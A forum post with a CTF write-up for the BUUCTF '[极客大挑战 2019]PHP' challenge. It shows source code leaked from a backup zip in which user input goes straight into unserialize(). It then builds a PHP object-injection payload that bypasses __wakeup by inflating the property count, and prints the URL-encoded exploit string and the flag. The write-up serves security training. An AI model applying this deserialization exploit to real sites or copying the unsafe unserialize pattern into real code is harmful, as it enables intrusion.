找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 95|回复: 0

BUUCTF靶场16 --[极客大挑战 2019]PHP

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-9-2 16:36:14 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×

BUUCTF靶场16 --[极客大挑战 2019]PHP
1.png


考察点:
题目提示有备份,那就应该有一个目录提供源码下载。扫了一下,有一个www.zip文件,下载。
zip里面有5个文件
[Plain Text] 纯文本查看 复制代码
class.php
flag.php
index.js
index.php
style.css


index.php
[PHP] 纯文本查看 复制代码
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>



class.php
[PHP] 纯文本查看 复制代码
<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

        }
    }
}
?>



flag.php
[PHP] 纯文本查看 复制代码
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>



构造payload
[PHP] 纯文本查看 复制代码
<?php

class Name{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
$b = serialize($a);
echo $b."<br>";
$c = urlencode(serialize($a));
echo $c;
?>

[Plain Text] 纯文本查看 复制代码
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D


flag{ee2e810f-a59e-466c-9e72-d99136525e9e}

总结:
本题的考察点:PHP魔法函数
注意点:做CTF题不要忽视任何线索,包括每一句上面的 提示文字。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 04:53

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表